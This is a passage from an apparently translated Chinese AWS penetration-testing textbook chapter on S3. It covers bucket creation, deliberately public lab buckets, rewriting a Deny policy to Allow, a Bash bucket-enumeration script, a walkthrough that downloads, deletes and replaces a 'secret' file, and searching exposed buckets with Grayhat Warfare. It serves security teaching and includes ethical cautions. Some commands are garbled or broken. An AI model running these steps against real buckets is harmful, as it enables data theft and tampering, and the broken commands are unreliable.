在查看区域时,有一些日常维护的提示你需要记住。这些日常维护提示可以帮助你更好地使用你的云系统并优化速度。这些最佳实践更适用于企业级,但仍然是理解的关键:

  • 选择离你最近的区域以最小化延迟。

  • 一些较新的服务可能无法承载你需要的服务,所以确保你选择的区域具有你需要的服务。如果没有,选择下一个最接近支持所需服务的区域。

  • 我无法再次强调这一点——合规性!确保无论你在做什么,都符合你所在地区的法规。不同的国家有不同的法律,所以确保你了解该地区内的协议。

现在我们了解了区域是什么,让我们来看看区域内托管的服务。这些服务被称为可用区

可用区

可用区非常适合最小化冗余和停机时间,如果一个 EC2 实例宕机。可用区被创建用于允许你在多个区域分布 EC2 实例,这样如果你的实例在一个区域失败,它仍然可以在另一个区域访问。当然,这一切都是在后台发生的,你作为用户并没有注意到!如果你需要快速回顾一下 EC2 实例,回到第一章**,构建你的 AWS 环境,并快速复习一下。

继续前进,让我们看看下一个图表。该图表说明了 AWS 如何在每个区域内利用可用区。在本书中,我们将使用俄勒冈us-west-2可用区

图 4.3 – 可用区的冗余

图 4.3 – 可用区的冗余

考虑冗余非常重要,因为当一个服务宕机时,冗余是一个故障检查,确保这些服务保持运行。在生产或商业案例中,系统宕机可能意味着损失数百万,甚至数十亿美元!

重要提示

你可以在这里找到更多关于可用区的信息:docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-available-regions

现在我们对资源如何分布在可用区有了更好的了解,让我们开始看看可能使用这些区域的服务。我们要讨论的第一个服务是 S3 及其存储解决方案 S3 存储桶。

连接和操作 S3 存储桶

中央文件存储对于组织来说是传统的,用于保护和存储数据。如果你在 IT 领域工作过,很可能你曾经设置过服务器消息块SMB)共享在 Windows 上,以允许多个主机之间进行文件共享。允许文件集中资源化是协作和共享信息的好方法,同时也允许人员从另一个系统远程访问数据。设置文件服务器,存储和检索数据并不新鲜。新鲜的是我们如何可以使用同样的方法存储数据,只是现在我们可以使用被称为S3的技术在云中存储数据,或者如果你想拼出来的话,叫做简单存储服务

那么,什么是 S3?S3 是一个简单的存储系统(顾名思义),允许用户在云中存储数据。就像我们在文件服务器上存储数据一样,我们可以将数据存储在所谓的 S3 存储桶中,这将保存我们数据的内容。你可以在这些存储桶中存储大量的数据,并随时检索它。

在这一部分,我们将学习关于 S3 存储桶的使用,以及如何创建和上传文件到 S3。让我们首先了解一下 S3 代表什么。

了解 S3 存储桶

正如前面提到的,S3 是一个简单的存储服务,允许用户将他们的数据存储在云中。这种存储解决方案默认是安全的;然而,用户和管理员对存储设置了一些策略,使其容易受到攻击。我们暂时不会担心 S3 存储桶的攻击和漏洞,因为我们需要先了解基础知识。在我们深入攻击之前,让我们先解答一些关于存储解决方案的问题:

  • 信息是如何存储的?

  • 它去哪了?

  • 我们可以存储多少,它有多耐用?

S3 将您的数据存储在所谓的对象中,也被称为对象存储。对象存储允许您以对象的形式存储诸如图片、视频、文件以及与它们相关的任何数据。有各种存储类别我们不打算详细介绍,但您可以在这里了解更多:https://aws.amazon.com/s3/features/。

S3 被设计为“11 9's”模型,这意味着它具有数据耐久性,并且会自动在多个系统上创建和存储所有 S3 对象的副本。然而,这并不意味着 S3 对象将存储在操作系统中。S3 不像 EC2 实例,无法托管 Windows 或 Linux 等操作系统。

S3 也具有高度可扩展性,允许您存储看似无限的存储量;然而,没有什么是无限的,对吧?使 S3 存储无限增加了“11 9's!”模型,为安全可靠的存储带来成功。

现在,让我们开始看一下 S3 的使用以及在企业中的实际原则。

使用 S3 存储桶

重要的是,我们要理解为什么要使用云存储。它为公司提供了存储数据并能够访问数据的关键服务。正如前面提到的,S3 存储以下类型的数据:

  • 图片

  • 视频

  • 文件

  • 包含敏感数据的文件等

虽然我们了解可以存储的数据类型,但 S3 是如何使用的呢?它不仅仅是加载一个新的文本文档 - 它涉及冗余和备份数据!

在企业中使用 S3 解决方案的主要原因之一是备份和归档数据,否则这些数据将存储在备份位置,如热站点、温站点和冷站点。S3 就像一个热站点,因为数据随时可用和可访问。将 S3 作为备份存储解决方案也是灾难恢复的一个很好的实施。如果您的主文件系统意外崩溃,您的数据仍然可以在云中通过 S3 访问。

S3 也可以作为一个中央位置,用于在企业用户之间存储和分发数据。记住:S3 是关于扩展和存储,因此能够全球访问数据对于生产力非常重要。

现在我们对 S3 及其所包含的内容有了更好的理解,是时候开始看看 S3 存储桶以及我们如何可能利用它们了。

S3 存储桶

现在我们对 S3 是什么以及它是如何工作的有了很好的理解,涉及存储信息和为企业备份数据。正如之前所述,S3 是一个简单的存储服务,将数据存储为对象。这些对象存储在所谓的存储桶中。简单来说,存储桶是 S3 中托管您的数据对象的基本容器。让我们简要了解一下这意味着什么,然后设置我们自己的存储桶。

重要提示

记住,S3 是云中的本地文件系统!

如前所述,S3 存储桶基本上类似于您在本地文件系统中找到的简单文件服务器,但它们存储在云中而不是在本地。存储桶存储可以随时上传和下载的对象。一些资源将存储在公共存储桶中,而其他资源将存储在内部,并且只有具有访问权限的用户才能使用。

为了简洁地介绍 S3 属性,这里有一些需要记住的事项:

  • S3 存储桶名称是唯一的,不能与其他人相同。这些名称特定于特定区域内的特定存储桶。我们稍后会看一下这一点。

  • 您最多可以创建 100 个存储桶!这将为您提供充分的练习和存储空间。

  • 存储桶是按区域分配的。重要的是要记住您将存储桶存储在哪些区域 – 这是您访问它们的方式!

  • 它们可靠且足够满足您所有的存储需求。

  • S3 具有一个通用的命名空间,用于创建存储桶。

  • 它们可以通过虚拟方式或通过路径访问 – 我们将在创建存储桶后讨论这一点。

现在您应该对 S3 是什么以及它是如何工作有了很好的理解。但是,如果您仍然不确定,不要担心 – 随着我们在本章中的深入学习,您将会更多地理解,并且随着我们在本书中的进一步学习,我们将应用更多的理论和实践。

接下来,让我们创建一个 S3 存储桶,然后看一些常见的安全问题以及如何利用它们。我们将使用 Kali Linux 作为我们的主机操作系统来与 S3 进行交互 – 确保您的本地 AWS Kali Linux 镜像是最新的,并且已安装 AWS CLI,如本章的技术要求部分所述。

创建 S3 存储桶

让我们开始将我们对 S3 的理论应用到实践中,并开始登录 AWS 控制台。登录后,让我们将 S3 服务图标固定到我们的主页上。我们将会经常使用它,所以将其保留在主页上是一个好的做法。

让我们按照以下步骤创建一个存储桶:

  1. 首先,点击屏幕顶部的图钉图标。一旦您点击它,您将看到一个广泛的资源列表。点击并拖动S3图标到顶部:图 4.4 – AWS 服务列表

图 4.4 – AWS 服务列表

  1. 您的屏幕顶部应该有以下内容。注意您屏幕顶部的S3图标:图 4.5 – S3 图标添加为服务快捷方式

图 4.5 – S3 图标添加为服务快捷方式

  1. 现在您可以点击 S3 图标,然后转到 S3 存储桶页面。这就是我们开始创建存储桶的地方!点击上面写着创建存储桶的图标开始:图 4.6 – S3 存储桶仪表板

图 4.6 – S3 存储桶仪表板

  1. 在下一个屏幕上,您需要为存储桶输入名称和区域:

重要提示

使用离您最近的区域。确保您的存储桶使用全球唯一的名称。例如,您不能有两个名为AWSBucket的存储桶。

图 4.7 – S3 存储桶仪表板(创建和命名)

图 4.7 – S3 存储桶仪表板(创建和命名)

  1. 下一个屏幕将显示配置选项。在企业环境中,这是您开始考虑通过分配加密和日志记录来保护您的存储桶的起点。但是,对于此操作,我们将保持所有内容未选中:图 4.8 – S3 存储桶配置选项

图 4.8 – S3 存储桶配置选项

  1. 接下来,我们将希望将存储桶设为公开。如果这是一个真实的场景,我们会避免设置一个这样的存储桶;然而,我们希望确保存储桶对我们的实验目的是公开的。公开的存储桶是导致 S3 成为主要漏洞的攻击的大多数来源。通过取消阻止所有公共访问,你将使存储桶对任何人都是公开的:图 4.9 – S3 存储桶配置选项

图 4.9 – S3 存储桶配置选项

  1. 检查所有你的配置并点击创建存储桶

图 4.10 – S3 存储桶审查

图 4.10 – S3 存储桶审查

干得好!你刚刚创建了你的第一个 S3 存储桶!这个存储桶将作为本书中易受攻击的存储解决方案,所以确保你不要删除它。

现在让我们看看上传数据的方法,并了解渗透测试 S3 存储桶的方法如何检索信息。在开始之前,让我们创建一个管理员用户,这个用户将给我们一个访问 ID 和一个密钥,我们可以用它来连接到我们的 AWS S3 环境。

快速绕道 - 创建 IAM 用户

有一个用户访问 S3 是至关重要的,所以前往 AWS 控制台的以下区域并开始:https://console.aws.amazon.com/iam/home?#/users。

一旦你到达身份和访问管理(IAM)页面,按照下面的步骤创建一个用户,我们可以用它来访问我们的 S3 存储桶:

  1. 点击左上角的添加用户

  2. 给你的用户取一个名字。

  3. 勾选以下选项:

--AWS 管理控制台访问

--程序化访问

  1. 点击下一步

  2. 跳过添加标签。

  3. 审查并创建一个用户

之后,你将得到一个访问密钥 ID秘密访问密钥密码。保存这些并将它们存放在一个安全的地方:

图 4.11 – 成功创建 IAM 用户

图 4.11 – 成功创建 IAM 用户

现在我们了解了如何创建用户,让我们看看如何配置它们用于我们的 AWS 环境,并将数据复制和上传到 S3 存储桶。

复制并上传到 S3

太好了 - 现在我们有一个用户可以用来访问我们的 S3 存储桶。上传文件到 S3 存储桶是处理 S3 存储桶最基本的用途。这是我们将信息安全地和安全地传输到云端的方式。

数据可以上传到 S3 的两种方式:

  1. 使用 Web 浏览器

  2. 使用 AWS CLI

我们将两者都使用,但依赖 CLI 进行我们的渗透测试方法。虽然拥有图形用户界面GUI)是一个很好的选择,但在可用时最好使用 CLI - 这通常会给你更多的选择,并且在 GUI 失败时会更加稳定。这个用户拥有管理员权限,这意味着它有权限。让我们看看我们如何通过 CLI 上传文件到 S3:

  1. 使用你创建的用户的访问密钥 ID秘密访问密钥连接到你的 AWS 环境:
$ aws configure
  1. 输入你的用户的 ID 和密钥。在提示时,将区域和输出格式留空。现在你应该已经设置好并连接上了。现在让我们来检查一下存储桶,并通过列出 S3 存储桶的内容来验证内容:
$ aws s3 ls s3://

现在你应该能够看到你创建的存储桶以 Linux 类型的格式列出。在我们继续之前,让我们分解这个命令,这样我们就能理解每个参数的作用:

  • aws:这个命令允许你与你的 AWS 环境进行交互。

  • s3:这个参数将使你能够访问你的s3存储桶。我们可以在这里放其他命令,我们稍后会发现。

  • ls:我们之前提到过这个。ls允许用户列出文件系统的内容。我们可以在各种操作系统和s3文件系统中使用它。

  • s3://:简单地说,这允许你通过s3访问文件系统。这种语法类似于其他访问本地文件系统的语法,比如 SMB 或 FTP。

现在您了解了命令的作用,让我们继续前进并创建一个可以上传到存储桶的文件。我们找到了我们创建的目录;下一步是列出可能在目录中的任何内容。在这种情况下,我们不会有任何内容。

以下将允许我们创建一个文件:

  1. 输入以下命令以列出目标存储桶的内容:
$ aws s3 ls s3://packetawspentesting
  1. 现在在终端中创建一个稍后可以上传的文件:
$ echo "TESTING FOR AWS PENETESTING" > test.txt
  1. 确保文件内容被正确写入:
$ cat test.txt
  1. 现在上传文件的内容:
$ aws s3 cp test.txt s3://packtawspentesting
  1. 验证文件:
$ aws s3 ls s3://packtawspentesting

恭喜,您已成功从 AWS 命令行上传了一个文件!您还可以在 AWS Web 控制台中检查您的文件,其内容应该如下所示:

图 4.12 - 从 AWS 控制台查看文本文件

图 4.12 - 从 AWS 控制台查看文本文件

回顾一下,这是我们完成 S3 存储桶上线的步骤:

  1. 创建了 IAM 用户

  2. 配置并连接到您的 AWS 环境

  3. 列出了 S3 存储桶的内容

  4. 创建了一个文件并将其复制到存储桶中

现在我们已经创建了一个存储桶,让我们看看在进行 S3 渗透测试时可能会看到的一些常见配置错误。

存储桶策略和 ACL

存储桶策略和访问控制列表ACLs)用于访问控制 - 作为允许和拒绝对 AWS 环境中 S3 资源访问的第一道防线。ACL 和存储桶都使用 JSON 或 YAML 来编写它们的策略,这可能会使事情变得困难或容易,这取决于您的观点。

现在让我们继续向前看看这些策略是如何创建的!

公共存储桶策略

在进行 S3 渗透测试时,您首先要做的事情之一是查看 S3 存储桶的策略是什么。以下是一个简单的存储桶策略的示例,我们将创建它,并且如何根据该策略开始与存储桶进行交互。

按照以下步骤创建一个存储桶,然后列出其策略:

  1. 转到 S3 存储桶页面,点击我们创建的存储桶。

  2. 接下来,点击权限选项卡。

  3. 确保在阻止所有公共访问上没有选中任何内容:图 4.13 - S3 存储桶访问视图

图 4.13 - S3 存储桶访问视图

  1. 接下来,转到存储桶策略部分,点击策略生成器,位于页面左下角附近。

  2. 从这里,您将希望设置以下参数:

--选择策略类型S3 存储桶策略

--效果允许

--主体:***** – 放置***注释表示我们选择了“全部”

--AWS 服务Amazon S3

--操作所有操作

--ARN您的存储桶的 ARN

  1. 您将能够创建策略并上传它:

图 4.14 - S3 存储桶策略

图 4.14 - S3 存储桶策略

现在我们已经更新了策略,让我们看看如何从 AWS CLI 中读取它:

$ aws s3api get-bucket-policy --bucket packtawspentesting 

这将给我们提供存储桶策略的结果;但是,我们可以使用以下命令使格式更加易读,使用json 工具输出信息:

$ aws s3api get-bucket-policy --bucket packtawspentesting --output text | python -m json.tool

以下截图显示了前面命令的输出:

图 4.15 - 通过终端获取 S3 存储桶策略

图 4.15 - 通过终端获取 S3 存储桶策略

如您所见,我们已成功以更易读的格式列出了我们存储桶的策略。

了解策略属性

了解策略的每个部分意味着什么以及它的作用是至关重要的。您不需要了解 JSON 就知道策略在做什么。让我们解剖刚刚制作的策略,并看看每个属性的含义。让我们看看我们将要查看的一些基本属性是什么:

  • ID:用作参考号。

  • 版本:告诉用户正在使用的策略版本。

  • 操作:这告诉您正在使用的资源类型。在本章中,我们使用的是 S3。

  • 效果:策略的这部分将“拒绝”或“允许”访问资源。

  • 资源:ARN 放在这里,告诉策略策略被应用到哪个资源。

编写策略绕过策略

现在让我们来看看如何编写一个新的存储桶策略。在这个练习中,使用内置在 AWS 控制台中的策略生成器。为此,我们将创建一个新的存储桶;只是这一次,我们将创建一个具有更严格策略的存储桶。它的效果应该设置为拒绝而不是允许

你的新存储桶的策略应该是这样的:

{
  "Id": "Policy1582144841563",
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Stmt1582144836532",
      "Action": "s3:*",
      "Effect": "Deny",
      "Resource": "arn:aws:s3:::readthisblockthis",
      "Principal": "*"
    }
  ]
}

继续前进,让我们看看如何上传文件到我们的 S3 存储桶:

  1. 列出存储桶的内容:
$ aws s3 ls s3://

现在我们知道要针对哪些存储桶,让我们制作一个文件并上传到存储桶中:

图 4.16 - 列出存储桶的内容并将文件复制到存储桶中

图 4.16 - 列出存储桶的内容并将文件复制到存储桶中

  1. 现在我们已经确认我们可以上传文件到存储桶,这给了我们一个暗示,我们应该能够上传几乎任何文件到存储桶。接下来,让我们拿出我们的策略,改变一行,这将允许我们对 S3 存储桶进行任何操作:
{
  "Id": "Policy1582144841563",
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Stmt1582144836532",
      "Action": "s3:*",
      "Effect": "Allow",
      "Resource": "arn:aws:s3:::readthisblockthis",
      "Principal": "*"
    }
  ]
}
  1. 就是这么简单。现在我们需要将这个上传到我们的存储桶。将新策略保存为policy.json,并使用以下命令上传它:
$ aws s3api put-bucket-policy --bucket readthisblockthis  --policy policy.json

现在你将有一个更过度宽松的策略,允许你更多的控制。这在企业级别上可能是危险的——它将使用户能够在没有适当授权的情况下随意更改策略。

现在我们了解了如何制定存储桶策略,让我们继续前进,开始看看公共存储桶的危险。

公共存储桶

公共存储桶是 AWS 和 S3 最大的安全风险之一。由于 S3 的配置错误导致了大量数据泄漏。一些已经报告的问题如下:

  • 对 S3 存储桶的监控不足。没有监控,确实没有稳定的方法来检查对 S3 环境的访问。

  • 对 S3 环境的测试和审计不足,这证明是一个安全问题。像漏洞评估或者简单的渗透测试这样简单的事情都会帮助发现可以轻松修复的问题。

  • 宽松的策略是另一个问题。如果策略允许太多用户访问 S3 资源,如果这些帐户被攻破,问题可能会出现。

围绕 S3 安全的普遍观点强调,监控将提高 S3 的安全姿态;然而,监控只是战斗的一半。正如我们所看到的,过度宽松的策略也可以允许用户进行被认为是“未经授权”的更改。未经授权这个词被轻描淡写地使用,因为策略在技术上说是允许的,但是良好的做法建议不要这样做。

现在让我们开始继续前进,看看存储桶中的公共配置错误。

存储桶配置错误

就像本地文件系统一样,配置错误可能是保护网络的全部和终极目标。重要的是要寻找可以被利用的简单和微小的细节。S3 是以安全为前提的,这意味着它是默认安全的。在这本书和现实世界中,你将看到的配置错误通常涉及到配置错误的策略允许对特定资源过多的访问,或者可以轻松绕过的权限。

虽然在本章中我们创建了容易受攻击的存储桶,并在整本书中总体上看了一些弱点问题,但是确保你保护所有资源以防止它们被利用是至关重要的。

我们已经讨论了如何查找配置错误的策略,在“编写策略绕过策略”部分。现在让我们看看在 AWS 环境中如何搜索公共存储桶中的数据。

让我们开始,使用我们的访问密钥 ID秘密访问密钥进行认证。一旦在环境中进行了认证,让我们使用以下步骤来查找公共存储桶:

  1. 列出 AWS 环境中的存储桶:
awspublicpackt that seems like a possible target for public misconfigurations. Let's move forward and pull the public block from it.
  1. 下一条命令将向我们显示存储桶是否允许任何公共访问:
$ aws s3api get-public-access-block --bucket awspublicpackt

运行命令后,我们将看到一些输出,列出了所有设置为 false 的访问控制列表。将 ACL 设置为 false 意味着所有访问都是公开的,存储桶没有授权控制围绕它放置:

图 4.17 - 公共存储桶 awspublicpackt 的输出

图 4.17 - 公共存储桶 awspublicpackt 的输出

从命令的输出中可以看出,我们可以确认存储桶是公开的。如果在渗透测试中发现了这一点,就需要记录下来,并告知客户应拒绝公共访问,除非存储桶出于业务原因是公开的。此外,如果存储桶需要保持公开,就需要告知用户不要在被视为敏感的存储桶中存储任何信息。

在接下来的部分,我们将讨论一个略有不同的主题。我们将讨论脚本编写以及如何在 S3 存储桶的安全方面使用脚本。

查找私有存储桶的脚本

脚本编写在网络安全领域是一项备受追捧的技能,因为拥有脚本任务的知识和能力可以让你以更高效的速度自动化并提供结果,同时执行另一个任务。脚本编写也是解决可能是独特的问题的好方法 - 在这种情况下,查找可能没有常见名称的存储桶。存储桶只能有一个唯一的名称,没有一个存储桶是相同的,所以拥有已知存储桶的字典列表对你没有直接帮助。这意味着你需要制作存储桶名称的修改版本,并将其放在一个文本文件中,以便用于发现存储桶名称。

现在我们对 S3 有了大量的知识,让我们来看看你可以在下一次渗透测试中使用的一些脚本。我们将看两种流行的语言:Python 和 Bash。

Python 脚本

Python 是安全社区中的标准编程语言,因为它简单易用。许多安全工程师使用它,因为它允许你即时创建、自动化和监控一切!回想一下,我们在第二章**,渗透测试和道德黑客中设置了 PyCharm,并编写了一个简单的程序来了解 Python 的工作原理。

请注意,这不是一门 Python 课程,所以我们不会讨论 Python 的内部工作原理;然而,Packt Publishing提供了大量的 Python 书籍。鼓励大家去阅读本书未涉及的材料。

我们需要安装 AWS 的 Boto3 SDK。SDK软件开发工具包的缩写,在这种情况下,你可以使用 Boto3 直接从你的 Python 脚本中创建、更新和删除 AWS 资源。

重要提示

Boto3 是 AWS 的软件开发工具包SDK),用于 Python,允许开发人员编写可以利用 S3 和 EC2 等服务的代码。

以下步骤将帮助你正确执行这一过程:

  1. 打开终端并输入以下命令来安装boto3
$ pip install boto3
  1. 现在你有了允许你使用 Python 构建 S3 存储桶的 SDK!让我们创建一个文件,我们可以在其中存储我们的凭据:
$ touch ~/.aws/credentials
  1. 这将创建一个文件,你可以在其中存储你的凭据。使用文件编辑器打开文件,并输入以下参数:
west 2. 

现在你已经准备好使用boto3和 Python 与你的 S3 存储桶进行交互了!

有很多与 S3 和 Python 交互的方式 - 本书的目的是展示这样做的基础知识,但是,请将本书作为入门指南,并“保持好奇”,查看更多有关 Python 脚本编写的资源。

现在您已经设置了 boto3,这是一个很好的资源:https://docs.ceph.com/docs/master/radosgw/s3/python/

现在让我们创建一个脚本,可以帮助我们查找允许我们在 S3 环境中查找存储桶的脚本。您可以使用 Python 终端来编写以下脚本:

  1. 我们在末尾使用.py扩展名创建一个文件 - 例如,myBucket.py

无论您选择使用哪种方式,以下脚本都将帮助您查找存储桶:

import boto3
s3 = boto3.resource('s3')
my_bucket = s3.Bucket('my_bucket_name')
for object_summary in my_bucket.objects.filter(Prefix="dir_name/"):
    print(object_summary.key)

强烈建议将此脚本放在 PyCharm 中,以便以后使用 - 或者扩展它的功能。在 PyCharm 中编辑文件也可以成为默认操作,使 PyCharm 成为您的主要工作空间。

现在我们已经看到了如何制作一个简单的脚本来查找存储桶,让我们来看看一些Bash脚本。

Bash 脚本

Bash是一种支持自动化任务的脚本语言,在我们的情况下,它帮助我们实现测试 S3 的目标。Bourne Again SHell,或者简称Bash,是一个经常内置于操作系统中的 shell 进程 - 就像我们在整本书中都在使用的 Kali Linux 发行版一样。

为了确保您的环境中已经设置了Bash,请在 Kali Linux 终端中键入以下命令:

$ echo $SHELL

现在您已经验证了您的机器上是否设置了Bash,让我们创建一个可以用来查找可能没有常见名称的存储桶的脚本。按照以下步骤进行:

  1. 使用vi文本编辑器打开一个新文件:
$ vi Buckets.sh
  1. 您应该已经打开了vi编辑器。现在,在终端中输入以下文本。您需要同时按下Shift + I开始输入。

以下脚本是用来发现潜在存储桶的:

图 4.18 - Bash 脚本

图 4.18 - Bash 脚本

完成后,按Esc,然后输入:wq保存并关闭终端。该命令将允许您保存并退出程序。

如果您想要验证脚本是否保存正确,您可以从文件中使用cat命令,应该会看到以下代码:

#!/bin/bash
while read F ; do
    count=$(curl $1/$F -s | grep -E "NoSuchBucket|InvalidBucketName" |wc -l)
    if [[ $count -eq 0]]
    then
       echo "Bucket Found: "$F
    fi
done < $2

一旦您准备好脚本,使用您的存储桶的 ARN 并扫描存储桶。

现在我们将利用到目前为止学到的所有知识,并且做一些非常重要的事情 - 在渗透测试场景中使用它。这个演练有助于突出 AWS 渗透测试可能执行的真实潜在方式。

基于目标的渗透测试场景

现在让我们开始向前迈进,看一些在现实环境中相对常见的渗透测试 S3 的真实场景。虽然它可能看起来不像典型的“渗透测试”,因为 AWS 渗透测试不使用典型的渗透测试方法,但它仍然可以实现发现问题并利用它们的任务。基于目标的渗透测试意味着以“目标”为目标测试一个目标。在这种情况下,我们正在寻找可能存在于 S3 存储桶中的问题和失误。通常,组织希望了解特定资源的脆弱性以及导致脆弱性的路径如何被利用。

在这个例子中,我们将看看一个不安全的存储桶是如何导致我们删除一个重要文档,然后上传一个同名文档的。我们将使用一个“假设模型”,这意味着我们已经对系统有某种类型的访问。在我们进行练习之前,让我们看看我们将要做什么:

  1. 我们需要访问 S3 环境 - 我们将使用我们的凭据。由于我们是在一个假设的模型上操作,这意味着我们将作为一个近端操作。

  2. 接下来,我们将获取存储桶中对象的信息。

  3. 然后我们将删除对象并创建自己的对象进行上传 - 然后将对象上传到存储桶中。

现在我们有了需要的东西,让我们执行这个计划并继续前进。以下是如何正确执行这一步骤的逐步过程:

  1. 使用AWS configure进入你的环境。记住,因为我们使用的是“假设”模型,我们就像已经有权限访问环境的人一样行事。

一旦你配置并连接好了,下一步就是列出存储桶的内容:

$ aws s3 ls s3://
  1. 既然我们看到了存储桶,让我们来看看test存储桶:
$ aws s3 ls s3://the-moose-bucket-test
  1. 嗯,看起来我们有一个秘密文件,肯定是有人留下的。不幸的是,存储桶是公开的,并且很快就被创建,所以安全性是事后考虑的。接下来,让我们去获取这个秘密文件:
$ aws s3 cp s3://the-moose-bucket-test
  1. 很好,现在我们有了文件!使用我们的 Kali Linux 机器,让我们看看文件的内容:
$ cat secret.txt

图 4.19 - 列出存储桶的文件

图 4.19 - 列出存储桶的文件

  1. 我们可以深入研究并查看谁拥有这个对象。在真正的渗透测试中,这可能是欺骗或社会工程攻击的有用信息:
$ aws s3api list-objects --bucket the-moose-bucket-test

图 4.20 - 列出对象的内容

图 4.20 - 列出对象的内容

看起来这不是为我们准备的;然而,因为我们正在进行渗透测试,向客户说明安全性的重要性是至关重要的。为了做到这一点,我们需要删除文件并上传一个新的文件。确保你保留原文件,以便客户可以拿回文件。

重要提示

如果这是一次真正的渗透测试,并且文件包含敏感数据,那么你会立即停止渗透测试,并在继续之前通知客户。

继续我们的测试,让我们看看是否可以删除文件:

  1. 所以,我们有了我们的文件,现在让我们删除那个文件:
$ aws s3api delete-object --bucket the-moose-bucket-test --key secret.txt
  1. 创建一个新文件:
$ echo "You have been pwn'd! Please ensure to secure your buckets!" >> secret.txt
  1. 上传文件:
$ aws s3api put-object --bucket the-moose-bucket-test --key secret.txt

我们成功删除了旧文件,并上传了我们自己的新文件!正如你所看到的,留下公开的存储桶是一个严重的问题,可以通过设置适当的访问控制来轻松解决,从而拒绝未经授权的用户访问包含不适合他们的数据的文件。

现在我们对如何在现实的渗透测试情况下找到存储桶有了更好的理解,让我们看看另一个你可以通过自己选择的浏览器使用的工具。这个名为Grayhat Warfare的 Web 工具允许你通过其搜索引擎进行查询来发现存储桶。

使用 Grayhat Warfare 发现存储桶

我们接下来要提到的工具是我个人最喜欢的。它使发现开放的 S3 存储桶变得简单高效。基于 Web 的工具Grayhat Warfare允许用户通过简单的查询快速找到开放的存储桶,并且还允许我们通过搜索各种文件类型快速找到其他文档。

让我们快速看一个例子,它将在packtpub.com域下查找文件。

首先,打开你的网络浏览器,然后转到buckets.grayhatwarfare.com/

  1. 接下来,在工具的关键词部分搜索packtpub.com。一旦在关键词框中输入名称,点击搜索图 4.21 - 使用 Grayhat Warfare 搜索 packtpub.com

图 4.21 - 使用 Grayhat Warfare 搜索 packtpub.com

  1. 你会看到一个横幅,上面写着“packtpub com”的结果。在横幅下面,你会看到一个存储桶列表。在我们的例子中,我们只发现了一个存储桶,但是随着时间的推移,你完成这个练习时可能会发生变化:图 4.22 - 使用 Grayhat Warfare 发现 packtpub.com 存储桶

图 4.22 - 使用 Grayhat Warfare 发现 packtpub.com 存储桶

  1. 从这里,你可以点击存储桶并下载存储桶内的对象,如果你选择的话。这个例子更多地关注方法论,而不是执行完整的工具。

在使用Grayhat Warfare时,请确保您使用最佳实践,并且仅出于道德目的使用该工具。这是什么意思?这意味着虽然使用该工具是 100%合法的,但如果您发现与其域关联的泄漏的存储桶,您应该通知任何公司。

重要提示

泄漏的存储桶是一个向互联网开放并泄漏敏感信息的 S3 存储桶。如果发现泄漏的存储桶,请立即联系所有者并通知他们!

这也意味着不要出于不道德的原因使用该工具,例如使用发现的数据来伤害组织。

继续前进,让我们开始结束本章。我们已经学到了很多关于 S3 环境以及如何操纵和利用 S3 存储桶。接下来,让我们讨论一些关于 S3 的额外内容,然后开始结束。

S3 Burp Suite 扩展

Burp Suite 是一个常用于 Web 应用程序测试的工具。我们不打算深入了解 Burp Suite 的工作原理,但是请访问 PortSwigger 网站以获取更多详细信息:https://portswigger.net/burp。

有了大量可用的扩展,aws-extender。该扩展允许您扫描 S3 存储桶中的配置错误。

在我们开始之前,我们需要确保安装了最新的 Python 软件包。

在这里下载:github.com/jythontools/jython

现在让我们继续并获取该工具的副本:

  1. 首先获取软件包的副本:
$ git clone https://github.com/jythontools/jython.git

按照网站上提供的说明继续。

  1. 安装新的jython软件包后,从此存储库将该工具克隆到您的计算机:github.com/VirtueSecurity/aws-extender.git
$ git clone https://github.com/VirtueSecurity/aws-extender.git
  1. 完成后,您需要转到扩展并使用pip安装要求:
$ pip install -r requirements.txt

这部分可能需要一些时间,所以请耐心等待。

现在您需要将扩展加载到 Burp Suite 中。您可以在终端中找到burpsuite,然后启动该应用程序。启动应用程序后,转到aws-extender Python 程序目录。

我们将迅速转向另一个方向,看一些非常有趣的东西 - 创建一个本地 S3 实验室,供您练习使用!

创建一个本地 S3 实验室

有时您可能希望在不设置云中的文件系统的情况下测试 S3。由于 S3 只允许唯一名称,因此查找“测试”名称可能变得麻烦,并且创建测试环境可能会很繁琐。但是,这不应妨碍您能够设置一个本地实验室,以便更多地了解 S3。

MinIO是一个本地存储系统,可用于存储您希望在云中使用的数据。我们在书中提到它的原因是因为它是学习本地网络上的 S3 存储的一个很好的方式,而不仅仅局限于使用 AWS 中可用的名称。然而,MinIO 的一个缺点是,如果您习惯于使用 AWS 进行典型策略生成,那么策略设置可能会有点学习曲线或奇怪。

现在您可以这样做 - 设置一个本地 S3 实验室,您可以使用一个名为MinIO的程序,根据他们的说法:

MinIO 是根据 Apache 许可证 v2.0 发布的高性能对象存储。它与 Amazon S3 云存储服务兼容。使用 MinIO 构建用于机器学习、分析和应用数据工作负载的高性能基础设施。

- MinIO

您可以在这里找到有关 MinIO 项目的更多信息:github.com/minio/minio

重要提示

您可以在这里找到有关如何设置 MinIO 的完整演练:medium.com/@jonathanchelmus/creating-an-s3-lab-on-an-ec2-instance-95ffd8ac6c1

我强烈建议查阅文档,并建立一个本地实验室,用于测试和构建您的 S3 技能,方便使用您的本地实验室。

总结

在本章中,我们学到了很多关于 S3 存储桶以及一些利用常见公共存储桶问题的方法。我们还了解了更多关于 AWS 区域和可用区域以及它们与 S3 存储桶和 AWS 的关系。本章还介绍了各种脚本语言,如 Python 和 Bash,以及我们如何使用 Python 和 Bash 来扫描 S3 存储桶。

最后,我们通过将概念验证应用于我们创建的公共 S3 存储桶,来看了一个“现实世界”的场景。鼓励您创建自己的场景并执行它们-同时要遵守 AWS 实践和政策的法律范围。

最后,我们看了一些其他项目,可以帮助我们更深入地了解 S3,而无需使用 AWS。像 MinIO 这样的技术是一个很好的资源,如果您想要建立一个本地 S3 存储桶实验室。

在下一章中,我们将讨论 RDS 的概念,讨论一些关键点,并使用 MySQL 设置 RDS 数据库。

进一步阅读

第五章:了解易受攻击的 RDS 服务

亚马逊关系数据库服务RDS)提供了可扩展且易于设置的基于云的数据库,允许用户像操作典型数据库一样操作它们。RDS 使用户能够通过 MySQL 和 Amazon Aurora 等服务与数据库交互,就像用户在标准物理数据库基础设施中一样。RDS 的缺点与常规数据库相同-注入和配置错误。

